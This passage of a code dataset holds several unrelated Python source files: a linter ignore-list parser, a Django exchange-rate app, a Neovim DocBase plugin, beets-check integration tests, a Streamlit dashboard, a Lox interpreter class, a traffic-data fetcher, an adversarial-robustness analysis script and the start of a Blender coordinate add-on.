self._hash = hash_part\n        else:\n            return\n\n        # Second value on line must be the filename with optional line and col information\n        file_info = parts[1]\n        file_info_parts = file_info.rsplit(':',2)\n        self._set_file_info(file_info_parts)\n\n        if not self._set_log_type(parts[2]):\n            return\n\n        self._rule_name = parts[3]\n\n        if len(parts) - 1 == 4:\n            self._message = parts[4]\n        else:\n            self._message = ': '.join(parts[4:])\n\n        self._valid = True\n\n    def _set_file_info(self, file_info_parts) -> bool:\n        if len(file_info_parts) >= 3:\n            if file_info_parts[1].isdigit():\n                if file_info_parts[2].isdigit():\n                    self._col_num = int(file_info_parts[2])\n                    self._line_num = int(file_info_parts[1])\n                    self._file_name = file_info_parts[0]\n            elif file_info_parts[2].isdigit():\n                self._line_num = int(file_info_parts[2])\n                self._file_name = file_info_parts[0] + \":\" + file_info_parts[1]\n            else:\n                self._file_name = file_info_parts[0] + \":\" + file_info_parts[1] + \":\" + \\\n                                  file_info_parts[2]\n        elif len(file_info_parts) == 2:\n            if file_info_parts[1].isdigit():\n                self._line_num = int(file_info_parts[1])\n                self._file_name = file_info_parts[0]\n            else:\n                self._file_name = file_info_parts[0] + \":\" + file_info_parts[1]\n        else:\n            self._file_name = file_info_parts[0]\n\n        return True\n\n    def _set_log_type(self, part:str) -> bool:\n        if part == \"ERROR\":\n            self._log_type = LogType.ERROR\n            return True\n        if part == \"WARNING\":\n            self._log_type = LogType.WARNING\n            return True\n\n        return False\n\n    def print(self):\n        \"\"\"Print string representation of the ignore file entry.\"\"\"\n        print(\"h: \" + self.get_hash() + \" f: \" + self.get_file_name()\n              + \" l,c: \"\n              + str(self.get_line_num()) + \",\"\n              + str(self.get_col_num()) + \" t: \"\n              + str(self.get_log_level()) + \" r: \"\n              + self.get_rule_name()\n              + \" m: \" + self.get_message())\n\n    def get_hash(self) -> str:\n        return self._hash\n\n    def get_file_name(self):\n        return self._file_name\n\n    def get_line_num(self) -> int:\n        return self._line_num\n\n    def get_col_num(self):\n        return self._col_num\n\n    def get_rule_name(self):\n        return self._rule_name\n\n    def get_log_level(self):\n        return self._log_type\n\n    def get_message(self):\n        return self._message\n\n    def is_valid(self) -> bool:\n        return self._valid\n\nclass IgnoreEntry:\n    \"\"\" IgnoreEntries are like ranges, except that:\n        * The end value is inclusive, and thus called 'last'\n        * The last value can be 'Inf' for infinite\n        * They hold a hash value\n\n        Also, the start value is referred to as start.\n\n        The various comparison operators are overridden in ways that support the use of\n        IgnoreEntries for the purpose of disabling logging of rules over certain line ranges.\n        Their operation may not be directly intuitive.\n    \"\"\"\n    def __init__(self, line_hash:str, first, last):\n        self._first = Decimal(first)\n        self._last = Decimal(last)\n        self._hash = line_hash\n        self._is_active = True\n\n\n    def get_first(self) -> Decimal:\n        return self._first\n\n    def get_last(self) -> Decimal:\n        return self._last\n\n    def get_hash(self) -> str:\n        return self._hash\n\n    def is_active(self) -> bool:\n        return self._is_active\n\n    def mark_use(self):\n        if self.get_hash() != '*':\n            self._is_active = False\n\n    def __lt__(self, key):\n        \"\"\" Compare is done against the first value of the set only. \"\"\"\n        if isinstance(key, IgnoreEntry):\n            return self.get_first() < key.get_first()\n        return self.get_first() < key\n\n    def __le__(self, key):\n        \"\"\" Compare is done against the first value of the set only. \"\"\"\n        if isinstance(key, IgnoreEntry):\n            return self.get_first() <= key.get_first()\n        return self.get_first() <= key\n\n    def __gt__(self, key):\n        \"\"\" Compare is done against the first value of the set only. \"\"\"\n        if isinstance(key, IgnoreEntry):\n            return self.get_first() > key.get_first()\n        return self.get_first() > key\n\n    def __ge__(self, key):\n        \"\"\" Compare is done against the first value of the set only. \"\"\"\n        if isinstance(key, IgnoreEntry):\n            return self.get_first() >= key.get_first()\n        return self.get_first() >= key\n\n    def __eq__(self, key):\n        \"\"\" To be equal, the first, last, and hash value must all be equal \"\"\"\n        if isinstance(key, IgnoreEntry):\n            return self.get_first() == key.get_first() and self.get_last() == key.get_last() and \\\n                self.get_hash() == key.get_hash()\n        return False\n\n    def __ne__(self, key):\n        return not self.__eq__(key)\n","repo_name":"ozyildirim/rulecheck","sub_path":"rulecheck/ignore.py","file_name":"ignore.py","file_ext":"py","file_size_in_byte":9532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"21987722247","text":"#!/usr/bin/python\nfrom __future__ import division\nimport os\nimport sys\nimport json\n\nimport mxnbtc\n\nfrom django.conf import settings\n\nDEBUG = os.environ.get('DEBUG','on') == 'on'\nSECRET_KEY = os.environ.get('SECRET_KEY', os.urandom(32))\nALLOWED_HOSTS = os.environ.get('ALLOWED_HOSTS','localhost').split(',')\n\n\nsettings.configure(\n        DEBUG = DEBUG,\n        SECRET_KEY = SECRET_KEY,\n        ALLOWED_HOSTS = ALLOWED_HOSTS,\n        ROOT_URLCONF = __name__,\n\n        MIDDLEWARE_CLASSES = (\n            'django.middleware.common.CommonMiddleware',\n            'django.middleware.csrf.CsrfViewMiddleware',\n            'django.middleware.clickjacking.XFrameOptionsMiddleware',\n            ),\n        )\n\nfrom django.http import HttpResponse\nfrom django.conf.urls import url, patterns\nfrom django.core.wsgi import get_wsgi_application\n\napplication = get_wsgi_application()\n\ndef index(request):\n    return HttpResponse(\"Hello World\")\n\ndef btcmxn(request):\n    btc = mxnbtc.BTCExchange().get_mxn_btc()\n    mxn = mxnbtc.BTCExchange().get_btc_mxn()\n    #btc = 3000.59\n    #mxn = float(\"{0:.6f}\".format(1/3000))\n    quote = {\"MXN\":mxn,\"BTC\":btc}\n    quote_json = json.dumps(quote)\n    return HttpResponse(quote_json, content_type='application/json')\n\nurlpatterns= patterns('',\n        url(r'^$', index),\n        url(r'^exchange/$', btcmxn),\n        \n        )\n\nif __name__ == \"__main__\":\n    from django.core.management import execute_from_command_line\n\n    execute_from_command_line(sys.argv)\n","repo_name":"deanvlue/lightweight_django","sub_path":"hello.echange.py","file_name":"hello.echange.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"4945437194","text":"import docbase\nimport neovim\n\n\n@neovim.plugin\nclass DocBaseNvim(object):\n\n    def __init__(self, vim):\n        self.vim = vim\n        self.buffer = None\n        docbase.config.team = self._get_gvar('team')\n        docbase.config.api_token = self._get_gvar('api_token')\n\n    @neovim.command('DocBaseOpen', nargs='1', sync=True)\n    def open(self, args):\n        self.vim.command('echo \"Loading ...\"')\n        post_id = args[0]\n        post = docbase.posts(post_id)\n        self._show_single_buffer('[DocBase:{}]'.format(post_id))\n        self.vim.command('set filetype=markdown')\n        self.buffer = self.vim.current.buffer\n        self._to_buffer(post)\n        self.vim.current.window.cursor = (1, 0)\n\n    @neovim.command('DocBaseSave', nargs='?', sync=True)\n    def save(self, args):\n        self.vim.command('echo \"Saving ...\"')\n        self.buffer = self.vim.current.buffer\n        if len(args) > 0:\n            self._set_bvar('title', args[0])\n\n        post = self._from_buffer()\n        if post.id:\n            post = docbase.update(post)\n        else:\n            post = docbase.create(post)\n\n        self.vim.command('echom \"saved url {}\"'.format(post.url))\n        self._to_buffer(post, ignore_body=True)\n\n    @neovim.command('DocBaseSearch', nargs='*')\n    def search(self, args):\n        self.vim.command('echo \"Searching ...\"')\n        query = ' '.join(args) if len(args) > 0 else None\n        posts = docbase.posts(query=query)\n        self._store_search_result(posts)\n        self.vim.command('DocBaseSearchResult')\n\n    @neovim.command('DocBaseSearchNext')\n    def search_next(self):\n        self.vim.command('echo \"Searching ...\"')\n        url = self._get_gvar('search_next')\n        if url is None:\n            self.vim.command('echo \"No next\"')\n            return\n        posts = docbase.posts(url=url)\n        self._store_search_result(posts)\n        self.vim.command('DocBaseSearchResult')\n\n    @neovim.command('DocBaseSearchPrev')\n    def search_prev(self):\n        self.vim.command('echo \"Searching ...\"')\n        url = self._get_gvar('search_prev')\n        if url is None:\n            self.vim.command('echo \"No previous\"')\n            return\n        posts = docbase.posts(url=url)\n        self._store_search_result(posts)\n        self.vim.command('DocBaseSearchResult')\n\n    @neovim.command('DocBaseSearchResult', sync=True)\n    def search_result(self):\n        result = self._get_gvar('search_result', [])\n        if len(result) == 0:\n            self.vim.command('echo \"Not Found\"')\n            return\n\n        self._show_single_buffer('[DocBaseSearch]')\n        self.vim.command('setlocal modifiable')\n        self.vim.current.buffer[:] = [post['title'] for post in result]\n        self.vim.command('setlocal nomodified nomodifiable')\n        self.vim.current.window.cursor = (1, 0)\n\n        self.vim.command('nnoremap <buffer> <Enter> :DocBaseOpenResult<Enter>')\n\n    @neovim.command('DocBaseOpenResult', range='')\n    def open_result(self, range):\n        post = self._get_gvar('search_result')[range[0] - 1]\n        self.vim.command('DocBaseOpen {}'.format(post['id']))\n\n    @neovim.command('DocBaseTitle', nargs='?')\n    def title(self, args):\n        self._property_command('title', args)\n\n    @neovim.command('DocBaseAddTags', nargs='+')\n    def add_tags(self, args):\n        self.buffer = self.vim.current.buffer\n        tags = self._get_bvar('tags', [])\n        tags.extend(args)\n        self._set_bvar('tags', tags)\n        self.vim.command('echo \"Tags: {}\"'.format(', '.join(tags)))\n\n    @neovim.command('DocBaseRemoveTags', nargs='+')\n    def remove_tags(self, args):\n        self.buffer = self.vim.current.buffer\n        tags = self._get_bvar('tags')\n        tags = [tag for tag in tags if tag != args[0]]\n        self._set_bvar('tags', tags)\n        self.vim.command('echo \"Tags: {}\"'.format(', '.join(tags)))\n\n    @neovim.command('DocBaseDraftEnable')\n    def draft_enable(self):\n        self._property_command('draft', [True])\n\n    @neovim.command('DocBaseDraftDisable')\n    def draft_disable(self):\n        self._property_command('draft', [False])\n\n    @neovim.command('DocBaseScope', nargs='*')\n    def scope(self, args):\n        self._property_command('scope', args)\n        if len(args) > 0 and args[0] == 'group':\n            self._set_bvar('groups', args[1:])\n\n    @neovim.command('DocBaseNoticeEnable')\n    def notice_enable(self):\n        self._property_command('notice', [True])\n\n    @neovim.command('DocBaseNoticeDisable')\n    def notice_disable(self):\n        self._property_command('notice', [False])\n\n    @neovim.command('DocBaseInfo')\n    def info(self):\n        self.buffer = self.vim.current.buffer\n        info = ['{}: {}'.format(key, self._get_bvar(key)) for key\n                in ['author', 'title', 'url', 'scope', 'id', 'draft',\n                    'notice']]\n\n        info.append('tags: {}'.format(', '.join(self._get_bvar('tags', []))))\n\n        if self._get_bvar('scope') == 'group':\n            info.append('groups: {}'.format(self._get_bvar('groups', [])))\n\n        info.append('comments:')\n        for comment in self._get_bvar('comments', []):\n            comment_message = comment['message'].splitlines()\n            lines = ['  - {}'.format(comment_message[0])]\n            lines.extend(['    {}'.format(line)\n                          for line in comment_message[1:]])\n            lines.append('    written by {}, at {}'.format(\n                comment['user'], comment['created_at']))\n            lines.append('')\n            info.extend(lines)\n\n        self._show_single_buffer('[DocBaseInfo]')\n        self.vim.command('setlocal modifiable')\n        self.vim.current.buffer[:] = info\n        self.vim.command('setlocal nomodified nomodifiable')\n        self.vim.current.window.cursor = (1, 0)\n\n    def _to_buffer(self, post, ignore_body=False):\n        for key in ['id', 'url', 'title', 'draft', 'notice', 'scope']:\n            self._set_bvar(key, getattr(post, key))\n\n        self._set_bvar('author', post.user.name)\n        self._set_bvar('tags', [str(tag) for tag in post.tags])\n\n        if post.scope == 'group':\n            self._set_bvar('groups', [str(group) for group in post.groups])\n\n        self._set_bvar('comments',\n                       [{'message': comment.body, 'user': comment.user.name,\n                         'created_at': comment.created_at}\n                        for comment in post.comments])\n\n        if not ignore_body:\n            self.buffer[:] = post.body.splitlines()\n\n    def _from_buffer(self):\n        bvars = {key: self._get_bvar(key)\n                 for key\n                 in ['id', 'title', 'draft', 'notice', 'scope', 'tags']}\n        post_props = {k: v for k, v in bvars.items() if v is not None}\n        post = docbase.Post(**post_props)\n        post.body = '\\r\\n'.join(self.buffer)\n\n        if post.scope == 'group':\n            all_groups = docbase.groups()\n            groups = [self._find_group_from(name, all_groups)\n                      for name in self._get_bvar('groups')]\n            errors = [e for e in groups if isinstance(e, UnknownGroupError)]\n            if len(errors) > 0:\n                raise errors[0]\n            post.groups = groups\n\n        return post\n\n    def _find_group_from(self, name, groups):\n        return next(filter(lambda x: x.name == name, groups),\n                    UnknownGroupError(name))\n\n    def _set_gvar(self, key, value):\n        self.vim.api.set_var('docbase_{}'.format(key), value)\n\n    def _get_gvar(self, key, default=None):\n        try:\n            return self.vim.api.get_var('docbase_{}'.format(key))\n        except neovim.api.nvim.NvimError:\n            return default\n\n    def _set_bvar(self, key, value):\n        self.buffer.api.set_var('docbase_{}'.format(key), value)\n\n    def _get_bvar(self, key, default=None):\n        try:\n            return self.buffer.api.get_var('docbase_{}'.format(key))\n        except neovim.api.nvim.NvimError:\n            return default\n\n    def _store_search_result(self, posts):\n        self._set_gvar('search_result',\n                       [{'title': post.title, 'id': post.id}\n                        for post in posts])\n        self._set_gvar('search_prev', posts.previous_page)\n        self._set_gvar('search_next', posts.next_page)\n        self._set_gvar('search_total', posts.total)\n\n    def _property_command(self, key, args):\n        self.buffer = self.vim.current.buffer\n        if len(args) > 0:\n            self._set_bvar(key, args[0])\n\n        self.vim.command('echom \"DocBase{} : {}\"'.format(\n            key.capitalize(), self._get_bvar(key)))\n\n    def _show_single_buffer(self, buffer_name):\n        windows = [w for w in self.vim.current.tabpage.windows\n                   if w.buffer.name.endswith(buffer_name)]\n        if len(windows) > 0:\n            self.vim.current.window = windows[0]\n            return\n\n        buffers = [b for b in self.vim.buffers\n                   if b.name.endswith(buffer_name)]\n        if len(buffers) > 0:\n            self.vim.current.buffer = buffers[0]\n            return\n\n        self.vim.command((\n            'enew | '\n            'setlocal buftype=nofile bufhidden=hide noswapfile | '\n            'file {}')\n            .format(buffer_name))\n\n\nclass Error(Exception):\n    pass\n\n\nclass UnknownGroupError(Error):\n    def __init__(self, name):\n        super().__init__('Unknown Group name : {}'.format(name))\n","repo_name":"kit494way/docbase.nvim","sub_path":"rplugin/python3/docbasenvim.py","file_name":"docbasenvim.py","file_ext":"py","file_size_in_byte":9373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"26411954573","text":"import os.path\nfrom unittest import TestCase\n\nimport beets\nimport beets.ui\nimport beets.library\nfrom beets.mediafile import MediaFile\n\nfrom test.helper import TestHelper, captureLog, \\\n    controlStdin, captureStdout, MockChecker\nfrom beetsplug.check import verify_checksum, IntegrityChecker\n\n\nclass ImportTest(TestHelper, TestCase):\n\n    def setUp(self):\n        super(ImportTest, self).setUp()\n        self.setupBeets()\n        self.setupImportDir(['ok.mp3'])\n        IntegrityChecker._all_available = []\n\n    def tearDown(self):\n        super(ImportTest, self).tearDown()\n        MockChecker.restore()\n\n    def test_add_album_checksum(self):\n        with self.mockAutotag():\n            beets.ui._raw_main(['import', self.import_dir])\n        item = self.lib.items().get()\n        self.assertIn('checksum', item)\n        self.assertEqual(item.title, 'ok tag')\n        verify_checksum(item)\n\n    def test_add_singleton_checksum(self):\n        with self.mockAutotag():\n            beets.ui._raw_main(['import', '--singletons', self.import_dir])\n        item = self.lib.items().get()\n        self.assertIn('checksum', item)\n        verify_checksum(item)\n\n    def test_add_album_checksum_without_autotag(self):\n        with self.mockAutotag():\n            beets.ui._raw_main(['import', '--noautotag', self.import_dir])\n        item = self.lib.items().get()\n        self.assertIn('checksum', item)\n        self.assertEqual(item.title, 'ok')\n        verify_checksum(item)\n\n    def test_add_singleton_checksum_without_autotag(self):\n        with self.mockAutotag():\n            beets.ui._raw_main(['import', '--singletons',\n                                '--noautotag', self.import_dir])\n        item = self.lib.items().get()\n        self.assertIn('checksum', item)\n        verify_checksum(item)\n\n    def test_reimport_does_not_overwrite_checksum(self):\n        self.setupFixtureLibrary()\n\n        item = self.lib.items().get()\n        orig_checksum = item['checksum']\n        verify_checksum(item)\n        self.modifyFile(item.path, 'changed')\n\n        with self.mockAutotag():\n            beets.ui._raw_main(['import', self.libdir])\n\n        item = self.lib.items([item.path.decode('utf-8')]).get()\n        self.assertEqual(item['checksum'], orig_checksum)\n\n    def test_skip_corrupt_files(self):\n        MockChecker.install()\n        self.setupImportDir(['ok.mp3', 'truncated.mp3'])\n\n        with self.mockAutotag(), controlStdin(' '), \\\n                captureStdout() as stdout, captureLog() as logs:\n            beets.ui._raw_main(['import', self.import_dir])\n\n        self.assertIn('check: Warning: failed to verify integrity', logs)\n        self.assertIn('truncated.mp3: file is corrupt', '\\n'.join(logs))\n        self.assertIn('Do you want to skip this album', stdout.getvalue())\n        self.assertEqual(len(self.lib.items()), 0)\n\n    def test_quiet_skip_corrupt_files(self):\n        MockChecker.install()\n        self.setupImportDir(['ok.mp3', 'truncated.mp3'])\n\n        with self.mockAutotag(), captureLog() as logs:\n            beets.ui._raw_main(['import', '-q', self.import_dir])\n\n        self.assertIn('check: Warning: failed to verify integrity', logs)\n        self.assertIn('truncated.mp3: file is corrupt\\ncheck: Skipping.',\n                      '\\n'.join(logs))\n        self.assertEqual(len(self.lib.items()), 0)\n\n    def test_add_corrupt_files(self):\n        MockChecker.install()\n        self.setupImportDir(['ok.mp3', 'truncated.mp3'])\n\n        with self.mockAutotag(), controlStdin('n'):\n            beets.ui._raw_main(['import', self.import_dir])\n\n        self.assertEqual(len(self.lib.items()), 2)\n        item = self.lib.items(u'truncated').get()\n        mediafile = MediaFile(item.path)\n        self.assertEqual(mediafile.title, 'truncated tag')\n\n\nclass WriteTest(TestHelper, TestCase):\n\n    def setUp(self):\n        super(WriteTest, self).setUp()\n        self.setupBeets()\n        self.setupFixtureLibrary()\n\n    def test_log_error_for_invalid_checksum(self):\n        item = self.lib.items(u'ok').get()\n        verify_checksum(item)\n        self.modifyFile(item.path)\n\n        with captureLog() as logs:\n            beets.ui._raw_main(['write', item.title])\n        self.assertRegexpMatches(\n            '\\n'.join(logs),\n            r'error reading .*: checksum did not match value in library')\n\n    def test_abort_write_when_invalid_checksum(self):\n        item = self.lib.items(u'ok').get()\n        verify_checksum(item)\n        self.modifyFile(item.path, title='other title')\n\n        item['title'] = 'newtitle'\n        item.store()\n        beets.ui._raw_main(['write', item.title])\n\n        mediafile = MediaFile(item.path)\n        self.assertNotEqual(mediafile.title, 'newtitle')\n\n    def test_write_on_integrity_error(self):\n        MockChecker.install()\n\n        item = self.lib.items(u'truncated').get()\n\n        item['title'] = 'newtitle'\n        item.store()\n        beets.ui._raw_main(['write', item.title])\n\n        item.load()\n        verify_checksum(item)\n        mediafile = MediaFile(item.path)\n        self.assertEqual(mediafile.title, 'newtitle')\n\n    def test_update_checksum(self):\n        item = self.lib.items(u'ok').get()\n        orig_checksum = item['checksum']\n        verify_checksum(item)\n\n        item['title'] = 'newtitle'\n        item.store()\n        beets.ui._raw_main(['write', item.title])\n\n        item.load()\n        self.assertNotEqual(item['checksum'], orig_checksum)\n        verify_checksum(item)\n\n        mediafile = MediaFile(item.path)\n        self.assertEqual(mediafile.title, 'newtitle')\n\n\nclass ConvertTest(TestHelper, TestCase):\n\n    def setUp(self):\n        super(ConvertTest, self).setUp()\n        self.setupBeets()\n        beets.config['plugins'] = ['convert']\n        beets.config['convert'] = {\n            'dest': os.path.join(self.temp_dir, 'convert'),\n            # Truncated copy to break checksum\n            'command': u'dd bs=1024 count=6 if=$source of=$dest',\n        }\n        self.setupFixtureLibrary()\n\n    def test_convert_command(self):\n        with controlStdin('y'):\n            beets.ui._raw_main(['convert', 'ok.ogg'])\n\n    def test_update_after_keep_new_convert(self):\n        item = self.lib.items(u'ok.ogg').get()\n        verify_checksum(item)\n\n        with controlStdin('y'):\n            beets.ui._raw_main(['convert', '--keep-new', 'ok.ogg'])\n\n        converted = self.lib.items(u'ok.ogg').get()\n        self.assertNotEqual(converted.path, item.path)\n        self.assertNotEqual(converted.checksum, item.checksum)\n        verify_checksum(converted)\n","repo_name":"geigerzaehler/beets-check","sub_path":"test/integration_test.py","file_name":"integration_test.py","file_ext":"py","file_size_in_byte":6548,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"51"}
+{"seq_id":"28422662245","text":"import streamlit as st\nimport pandas as pd\n\nfrom model.processing.data import load_data, reader_data\n\nfrom frontend.pages.performance.performance import performance_page_run\nfrom frontend.pages.training.training_page import training_page_run\nfrom frontend.pages.demo.demo_page import demo_page_run\n\nst.set_page_config(\n    # This will make the content occupy the full width of the screen\n    layout=\"wide\",\n    page_title=\"Recommender System Dashboard\"\n\n)\ndef main():\n    # Using \"with\" notation\n    with st.sidebar:\n        add_radio = st.radio(\n            \"Page Navigation\",\n            (\"Main\",\n             \"Training\",\n             \"Performance\",\n             \"Model Demo\")\n        )\n\n    if add_radio == 'Performance':\n        data = pd.read_csv(\"backend/data/result_surprise.csv\",\n                           index_col=False)\n        performance_page_run(data)\n\n    elif add_radio == 'Training':\n        data = pd.read_csv(\"backend/data/result_surprise.csv\",\n                           index_col=False)\n        rating_data = load_data(\n            dataset = 'ml-1m',\n            data    = 'ratings.dat',\n            cols    = [\"UserID\",\"MovieID\",\"Rating\"],\n        )\n\n        rating_data = reader_data(\n            data    = rating_data,\n            model   ='surprise',\n            cols    = [\"UserID\",\"MovieID\",\"Rating\"],\n            scale   = True\n        )\n        training_page_run(data = data,\n                          data_train=rating_data)\n\n    elif add_radio == 'Model Demo':\n        demo_page_run()\n\n    else :\n        st.header(\"Main dashboard ✨\")\n\nif __name__ == \"__main__\":\n    main()\n\n\n","repo_name":"abilcode/movielens","sub_path":"recommender_system/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"70975806879","text":"from typing import Dict, Any, Union\n\nimport Token\nimport Interpreter\n\nclass Environment:\n    values : Dict[str, Any]\n\n    def __init__(self, enclosing = None):\n        self.values = {}\n        self.enclosing = enclosing\n    \n    def define(self, name : str, value : Any):\n        self.values[name] = value\n    \n    def get(self, name : Token.Token) -> Any:\n        if name.lexeme in self.values:\n            return self.values[name.lexeme]\n\n        if self.enclosing != None:\n            return self.enclosing.get(name)\n\n        raise Interpreter.RuntimeError(\n            name, \n            f\"Undefined variable '{name.lexeme}'.'\"\n        )\n    \n    def assign(self, name : Token.Token, value : Any):\n        if name.lexeme in self.values:\n            self.values[name.lexeme] = value\n            return\n\n        if self.enclosing != None:\n            self.enclosing.assign(name, value)\n            return\n\n        raise Interpreter.RuntimeError(\n            name,\n            f\"Undefined variable '{name.lexeme}'.\"\n        )\n    \n    def get_at(self, distance : int, name : str):\n        return self.ancestor(distance).values.get(name)\n    \n    def assign_at(self, distance : int, name : Token.Token, value : Any):\n        self.ancestor(distance).values[name.lexeme] = value\n    \n    def ancestor(self, distance : int):\n        environment = self\n\n        for _ in range(distance):\n            environment = environment.enclosing\n        \n        return environment","repo_name":"dfamonteiro/plox","sub_path":"Environment.py","file_name":"Environment.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"7427935854","text":"# Script for fetching traffic data from Helsinki area from open API\n# https://vayla.fi/vaylista/aineistot/avoindata/tiestotiedot/lam-tiedot\n\nimport requests\nfrom constants import *\n\nLAM_RAW_DATA_URL = \"https://aineistot.vayla.fi/lam/rawdata/20{year}/{ely}/lamraw_{lam_id}_{year}_{day_number}.csv\"\n\nprint(f\"Fetching {len(LAM_IDS)} measurement points' data\")\n\nfor lam_id in LAM_IDS:\n    for year in YEARS:\n        for day in range(1, 366):\n            print(f\"Fetching {lam_id}, {year}, {day}\")\n            r = requests.get(\n                LAM_RAW_DATA_URL.format(\n                    ely=\"01\",  # ID for Uusimaa\n                    year=year,\n                    lam_id=lam_id,\n                    day_number=str(day)\n                ),\n                headers=HEADERS\n            )\n            with open(f\"{DIGITRAFFIC_DATA_DIR}/raw_traffic_data_{lam_id}_{year}_{day}.csv\", \"w\") as f:\n                f.write(r.text)\n","repo_name":"phuongnttruong/Project-of-Machine-learning","sub_path":"src/fetch_digitraffic_data.py","file_name":"fetch_digitraffic_data.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"33832047879","text":"import numpy as np\nfrom models import model as md\nimport torch\nfrom robustness1.datasets import CIFAR\nimport dill\nimport sys\n\nfrom utils import dev, get_dist_dec\n\nimport tqdm\n\n\nif __name__ == \"__main__\":\n    is_natural = 1#int(sys.argv[1])\n\n    if is_natural:\n        resume_path = './models/cifar_models/nat_diff.pt'\n    else:\n        resume_path = './models/cifar_models/rob_diff.pt'\n\n    # Load model\n    ds = CIFAR('./data/cifar-10-batches-py')\n    classifier_model = ds.get_model('resnet50', False)\n    model = md.cifar_pretrained(classifier_model, ds)\n\n    checkpoint = torch.load(resume_path, pickle_module=dill, map_location=torch.device(dev()))\n\n    state_dict_path = 'model'\n    if not ('model' in checkpoint):\n        state_dict_path = 'state_dict'\n    sd = checkpoint[state_dict_path]\n    sd = {k[len('module.'):]: v for k, v in sd.items()}\n    model.load_state_dict(sd)\n    model.to(dev())\n    model.double()\n    model.eval()\n\n    # load data\n    if is_natural:\n        data_path = './data/cifar_natural_diff.npy'\n    else:\n        data_path = './data/cifar_robust_diff.npy'\n    data = np.load(data_path, allow_pickle=True).item()\n    pert_lengths = data['pert_lengths']\n    dirs = data['dirs']\n    images = data['images']\n    labels = data['labels']\n\n    n_samples = 100\n    n_dims = 50\n\n    #natural\n    min_dists = pert_lengths[:, 0]\n\n    dists = np.zeros((len(images), n_dims, n_samples))\n    angles= np.zeros((len(images), n_dims, n_samples))\n    largest_vecs = np.zeros((len(images), n_dims, dirs.shape[-1]))\n    for i, img in enumerate(tqdm.tqdm(images)):\n        for n in np.arange(0, n_dims):\n            dists[i, n], angles[i, n], largest_vecs[i, n] = get_dist_dec(img, labels[i], dirs[i, :n + 1], model,\n                                                                         min_dist=0.5 * min_dists[i],\n                                                                         n_samples=n_samples)\n\n        data = {\n            'dists': dists,\n            'angles': angles,\n            'largest_vecs': largest_vecs\n        }\n        if is_natural:\n            save_path = './data/dists_to_bnd_natural.npy'\n        else:\n            save_path = './data/dists_to_bnd_robust.npy'\n        np.save(save_path, data)\n","repo_name":"david-schu/TheGeometryOfAdversarialSubspaces","sub_path":"dist_to_dec_bnd.py","file_name":"dist_to_dec_bnd.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"26631784061","text":"bl_info = {\n    \"name\": \"Mathematics Transform\",\n    \"author\": \"Stokes Lee\",\n    \"version\": (0, 1,2),\n    \"blender\": (2, 70, 0),\n    \"location\": \"View 3D > Properties Shelf\",\n    \"category\": \"3D View\"\n}\nimport bpy\nfrom bpy_extras.view3d_utils import location_3d_to_region_2d, region_2d_to_vector_3d\nimport mathutils\nfrom mathutils import Vector\nimport math\nfrom bpy.props import *\nfrom bpy.app.handlers import persistent\nimport bgl\nimport blf\n\n#使用的座標系以及，在不同座標系下所使用的變量\nCoordinates_items = [(\"None\",\"None\",\"None\"),\n    (\"Sphere_Coordinate\",\"Sphere_Coordinate\",\"Sphere_Coordinate\"),\n    (\"Cylindrical_Coordinate\",\"Cylindrical_Coordinate\",\"Cylindrical_Coordinate\"),\n    (\"Cartesian_Coordinate\",\"Cartesian_Coordinate\",\"Cartesian_Coordinate\")]\nCoordinates_variables_items = [(\"Sphere_radius\",\"Sphere_radius\",\"Sphere_radius\"),\n    (\"Cylindrical_radius\",\"Cylindrical_radius\",\"Cylindrical_radius\"),\n    (\"Sphere_polar\",\"Sphere_polar\",\"Sphere_polar\"),\n    (\"azimuth\",\"azimuth\",\"azimuth\"),\n    (\"Cartesian_Coordinate_variable\",\"Cartesian_Coordinate_variable\",\"Cartesian_Coordinate_variable\")]\n    \n#更新座標系---------------------------------------\n@persistent\ndef scene_update(context):\n    if bpy.context.scene.objects.active.is_updated: \n        Coordinate_Property_update(\"Cartesian_Coordinate_variable\")\n    Coordinate_Property_update.update()\n\n#用來管理座標間的更新\nclass Coordinate_updater():\n    def __init__(self):\n        self.update_request = False\n        self.updated_Prop = None\n    def __call__(self,updated_variable):\n            if not self.updated_Prop:\n                self.updated_Prop = updated_variable    \n                self.update_request = True\n            if updated_variable == self.update_request:\n                self.update_request = True\n    def update(self):\n        if self.update_request:\n            Mathematics_Coordinates_System = bpy.context.scene.Mathematics_Coordinates_System\n            Coordinate_variable = bpy.context.scene.Mathematics_Coordinates_System.Coordinate_variable\n            ob = bpy.context.scene.objects.active.location\n            x = ob.x\n            y = ob.y\n            z = ob.z\n            Sph_r = Coordinate_variable.Sphere_radius\n            Sph_t1 = math.radians(Coordinate_variable.Sphere_polar)\n            Cy_r = Coordinate_variable.Cylindrical_radius\n            t2 = math.radians(Coordinate_variable.azimuth)\n            \n            if self.updated_Prop == \"Cartesian_Coordinate_variable\":\n                self.update_Cylindrical()\n                self.update_Sphere()\n            elif self.updated_Prop == \"Cylindrical_radius\":\n                Coordinate_variable.Sphere_radius = math.sqrt(math.pow(z,2)+math.pow(Cy_r,2))\n                if z !=0 :\n                    Coordinate_variable.Sphere_polar = math.degrees(math.atan2(Cy_r,z))\n                self.update_Cartesian(\"Cylindrical_radius\")\n            elif self.updated_Prop == \"Sphere_polar\":\n                Coordinate_variable.Cylindrical_radius = Sph_r*math.sin(Sph_t1)\n                ob.z = Sph_r*math.cos(Sph_t1)\n                self.update_Cartesian(\"Sphere_polar\")\n            elif self.updated_Prop == \"Sphere_radius\":\n                Coordinate_variable.Cylindrical_radius = Sph_r*math.sin(Sph_t1)\n                ob.z = Sph_r*math.cos(Sph_t1)\n                self.update_Cartesian(\"Sphere_radius\")\n            elif 